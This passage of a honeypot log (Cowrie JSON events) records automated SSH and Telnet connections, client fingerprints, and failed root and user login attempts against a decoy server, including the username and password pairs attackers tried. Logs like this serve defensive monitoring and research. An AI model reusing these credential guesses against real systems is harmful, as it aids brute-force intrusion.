a2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.277256Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBdCpgD5PVli7s2f1esa+w7Yu9KEfmN9c9Zq9EK7QA9ZJbIQG0A334wAPaZH89xoHlIPUZfXUGkLXxJkeiEUv2Cwg3nHaIToksI0DBeHMERb3k6ILvn8ny+PgiegeACppQju6h4OvIGBBgqXyeUaTYYuehTYvTlslNX+uuTQKLpyFhXYy9Mmtcts3phnpoy4JYFO5IzTSqa8FrFJ5ikolJ53h7b4p2t+fXibJ0zC5rISfA9r9v5ylt/4AdTqNrXUZskteKxwilQX9vwFEu0H+gqoK4RJaj3K19c/Q33jpVwoxpICX+lK6AERfkU1d7NFiWJ5crvhdAKrxS10JBmmvD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.593595Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBdCpgD5PVli7s2f1esa+w7Yu9KEfmN9c9Zq9EK7QA9ZJbIQG0A334wAPaZH89xoHlIPUZfXUGkLXxJkeiEUv2Cwg3nHaIToksI0DBeHMERb3k6ILvn8ny+PgiegeACppQju6h4OvIGBBgqXyeUaTYYuehTYvTlslNX+uuTQKLpyFhXYy9Mmtcts3phnpoy4JYFO5IzTSqa8FrFJ5ikolJ53h7b4p2t+fXibJ0zC5rISfA9r9v5ylt/4AdTqNrXUZskteKxwilQX9vwFEu0H+gqoK4RJaj3K19c/Q33jpVwoxpICX+lK6AERfkU1d7NFiWJ5crvhdAKrxS10JBmmvD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.599729Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kDuhs3d9g0bPzpzuBJ9E+8X6MstrTL3Iz+/DwH7tgbIm1/Ii+bwsvvpiwJ3V+ePhtRQumU7mmfJu/PJyFoSihb74vWZP2y5WZClpYq5lq3IXsr5zNd/JkSk0OakyCplc1M5zN5G8gLq2Pna8HwMRCYDgSgQrP3vFiPp5g/C2nFM11hYBiA9HvobnOnOy+WKF41Ecglb1fgIGtY/PyRVXiKbxISczjUrZefGE2hl2OCGgz3RiSFghMyX7YX6DbT64LriTTqOton3gMNpKpdbKQRIm+SXdeLPxHqAQlb6j6QicbaY/OWa7//hBeRyKZeFYBTqsyty+d/jPJgVXr9+zk4TiYsQGyU3nJdiTJ5uZtZk2kcqxWQhC/YUfIJLIfNUy50kKHoqqEfv1SO7lOzeEFlqsMtVCPTThidHrJO/lpy9Fk3Uy9cfw9T8TZpOqjFKB91KlzQeK1t2Q06shW29icKRYOPRgKouEPst4ttEEOjxCVzADx4Y1A+YJgKm1O2c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.669122Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kDuhs3d9g0bPzpzuBJ9E+8X6MstrTL3Iz+/DwH7tgbIm1/Ii+bwsvvpiwJ3V+ePhtRQumU7mmfJu/PJyFoSihb74vWZP2y5WZClpYq5lq3IXsr5zNd/JkSk0OakyCplc1M5zN5G8gLq2Pna8HwMRCYDgSgQrP3vFiPp5g/C2nFM11hYBiA9HvobnOnOy+WKF41Ecglb1fgIGtY/PyRVXiKbxISczjUrZefGE2hl2OCGgz3RiSFghMyX7YX6DbT64LriTTqOton3gMNpKpdbKQRIm+SXdeLPxHqAQlb6j6QicbaY/OWa7//hBeRyKZeFYBTqsyty+d/jPJgVXr9+zk4TiYsQGyU3nJdiTJ5uZtZk2kcqxWQhC/YUfIJLIfNUy50kKHoqqEfv1SO7lOzeEFlqsMtVCPTThidHrJO/lpy9Fk3Uy9cfw9T8TZpOqjFKB91KlzQeK1t2Q06shW29icKRYOPRgKouEPst4ttEEOjxCVzADx4Y1A+YJgKm1O2c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.673260Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyKvU2/fTqFgKcnSu6GTaF+BEjuL6bclcuzSNEZWnDTma2aEoCR8BdrioDNYm5zoK8jVB9npH2RtGqkkdGeI6Cla44MFZtzU5JsFoPyCPEKzNZguchPZO9HUuFTC5yic4mqbORJO/npTIFPnfayzPcuDG21yNxghqA3lNfe0xwQ/LLXWKL0mvu/4V3SVkBRyZvtAOLwv2cdsvKrs4ilzPIXugys8NCPnQYxJc6lyxuAbJeFA7x64CL+Y3cuoijz0/lIaN2I4EelKguP4dSwQABaaQocgx5aTMf8ecacf4C0ioY+Sm++TYcLzM7cG9G4BTirJHYF/v6zXwamum7M1or","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.741609Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyKvU2/fTqFgKcnSu6GTaF+BEjuL6bclcuzSNEZWnDTma2aEoCR8BdrioDNYm5zoK8jVB9npH2RtGqkkdGeI6Cla44MFZtzU5JsFoPyCPEKzNZguchPZO9HUuFTC5yic4mqbORJO/npTIFPnfayzPcuDG21yNxghqA3lNfe0xwQ/LLXWKL0mvu/4V3SVkBRyZvtAOLwv2cdsvKrs4ilzPIXugys8NCPnQYxJc6lyxuAbJeFA7x64CL+Y3cuoijz0/lIaN2I4EelKguP4dSwQABaaQocgx5aTMf8ecacf4C0ioY+Sm++TYcLzM7cG9G4BTirJHYF/v6zXwamum7M1or","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.747426Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCdigeEngAtraY7UOa6H13ZGsVXFvA8dsdlGc0ox/NBujMxxX4fUU+GIWXujwrlUOHfW94uMU1olp/IT/X2udgvUiHlfNbInekCOjQhe9tZYgYmsR3DrumEjT9e+iJMdFgwyQ1HFmSQ/JyEPJ2vwwtkLDx4MKCSpOyn0ZESq7Jwynrejbu19eV7B2Uoy5zX8sGCidUvgMp+jI3fHDEelxORQF7oIHKDQoykq3pnvpPuQnPd6zFNll4EBIN2Veois9sa4p/dU04YueK6Q7tKtvX2oSmHZm2zTtqczsk9wQhVwjJbHVnyFXu0z+KAnu2LGCW9SsiQTsrIE5kL6MsWnNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.816238Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCdigeEngAtraY7UOa6H13ZGsVXFvA8dsdlGc0ox/NBujMxxX4fUU+GIWXujwrlUOHfW94uMU1olp/IT/X2udgvUiHlfNbInekCOjQhe9tZYgYmsR3DrumEjT9e+iJMdFgwyQ1HFmSQ/JyEPJ2vwwtkLDx4MKCSpOyn0ZESq7Jwynrejbu19eV7B2Uoy5zX8sGCidUvgMp+jI3fHDEelxORQF7oIHKDQoykq3pnvpPuQnPd6zFNll4EBIN2Veois9sa4p/dU04YueK6Q7tKtvX2oSmHZm2zTtqczsk9wQhVwjJbHVnyFXu0z+KAnu2LGCW9SsiQTsrIE5kL6MsWnNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.819738Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/e8lGko5dYe7+Xnvf0GZEUO8XuitL6aRcUhTHTQJ+YIAJ9bTG9qV6Aq15bPBfQGdZRACbBwRjuFr3JTaCME+Le7b0Yk+7+vIiRmEocZZYOGDqutoT/JCMxhv0neu8VmpiAZDhVYh0vmU9LGMitavjc8AeYDrRwY2gR3B7LLhdW1SfNk3I8K6mRA8TDDAyptu6y5uDKbab/pVLJUqVKS3tfs6wP11dqrrwx2Uc9EnRRRw1+LZmfdJGEcCSISWVV/P3Mkeej9b/BTKgGSp7uEtZGu9TfmzNliqvtCYsE/97eXLy70T21KqR1lwoxSGTWDhyXPMcbBk8Br2UmQHlKs2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.888673Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/e8lGko5dYe7+Xnvf0GZEUO8XuitL6aRcUhTHTQJ+YIAJ9bTG9qV6Aq15bPBfQGdZRACbBwRjuFr3JTaCME+Le7b0Yk+7+vIiRmEocZZYOGDqutoT/JCMxhv0neu8VmpiAZDhVYh0vmU9LGMitavjc8AeYDrRwY2gR3B7LLhdW1SfNk3I8K6mRA8TDDAyptu6y5uDKbab/pVLJUqVKS3tfs6wP11dqrrwx2Uc9EnRRRw1+LZmfdJGEcCSISWVV/P3Mkeej9b/BTKgGSp7uEtZGu9TfmzNliqvtCYsE/97eXLy70T21KqR1lwoxSGTWDhyXPMcbBk8Br2UmQHlKs2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.892544Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.960690Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aa507170cc6","protocol":"telnet","message":"New connection: 128.199.8.54:41640 (159.203.135.109:23) [session: 0aa507170cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:55.182964Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.226.76.20","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"e808c7ad0a2d","protocol":"telnet","message":"New connection: 216.226.76.20:37320 (159.203.135.109:23) [session: e808c7ad0a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:09.277252Z"}
{"eventid":"cowrie.session.closed","duration":35.31298780441284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:12.218812Z","src_ip":"128.199.8.54","session":"98a554919c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.628546953201294,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:19.290245Z","src_ip":"128.199.8.54","session":"d436f5d8c02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34770,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7a20e0fa84","protocol":"telnet","message":"New connection: 128.199.8.54:34770 (159.203.135.109:23) [session: df7a20e0fa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:20.120948Z"}
{"eventid":"cowrie.session.closed","duration":14.925870180130005,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:24.202992Z","src_ip":"216.226.76.20","session":"e808c7ad0a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06324815750122,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:27.246078Z","src_ip":"128.199.8.54","session":"0aa507170cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51424,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ae557b0eb1","protocol":"telnet","message":"New connection: 128.199.8.54:51424 (159.203.135.109:23) [session: 74ae557b0eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:28.574647Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":56484,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c81cec1e18a","protocol":"ssh","message":"New connection: 118.194.229.94:56484 (159.203.135.109:22) [session: 0c81cec1e18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:42.624351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:42.629355Z","src_ip":"118.194.229.94","session":"0c81cec1e18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:42.786809Z","src_ip":"118.194.229.94","session":"0c81cec1e18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"123456","message":"login attempt [userftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:43.446799Z","src_ip":"118.194.229.94","session":"0c81cec1e18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:44.607276Z","src_ip":"118.194.229.94","session":"0c81cec1e18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60112,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aeac995d3a7","protocol":"telnet","message":"New connection: 128.199.8.54:60112 (159.203.135.109:23) [session: 1aeac995d3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:47.463306Z"}
{"eventid":"cowrie.session.closed","duration":35.063764572143555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:06:55.184595Z","src_ip":"128.199.8.54","session":"df7a20e0fa84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44921517372131,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:02.023656Z","src_ip":"128.199.8.54","session":"74ae557b0eb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.77181911468506,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:07.610730Z","src_ip":"212.55.149.117","session":"d1cec1501ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41098,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4294b6641f","protocol":"telnet","message":"New connection: 128.199.8.54:41098 (159.203.135.109:23) [session: 4b4294b6641f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:20.666971Z"}
{"eventid":"cowrie.session.closed","duration":35.0524959564209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:22.515696Z","src_ip":"128.199.8.54","session":"1aeac995d3a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49824,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb73dc1042b8","protocol":"telnet","message":"New connection: 128.199.8.54:49824 (159.203.135.109:23) [session: eb73dc1042b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:26.099307Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbd45fbf6f3","protocol":"ssh","message":"New connection: 103.15.226.202:60950 (10.17.0.5:22) [session: 3cbd45fbf6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:31.290948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:31.296133Z","src_ip":"103.15.226.202","session":"3cbd45fbf6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:31.543256Z","src_ip":"103.15.226.202","session":"3cbd45fbf6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pvankia@123!","message":"login attempt [root/pvankia@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:32.283986Z","src_ip":"103.15.226.202","session":"3cbd45fbf6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:33.532786Z","src_ip":"103.15.226.202","session":"3cbd45fbf6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.657387256622314,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:07:56.324227Z","src_ip":"128.199.8.54","session":"4b4294b6641f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.938687324523926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.037878Z","src_ip":"128.199.8.54","session":"eb73dc1042b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.242","src_port":46838,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5771fe509b4","protocol":"ssh","message":"New connection: 185.255.100.242:46838 (10.17.0.5:22) [session: e5771fe509b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.737619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:08:00.743730Z","src_ip":"185.255.100.242","session":"e5771fe509b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 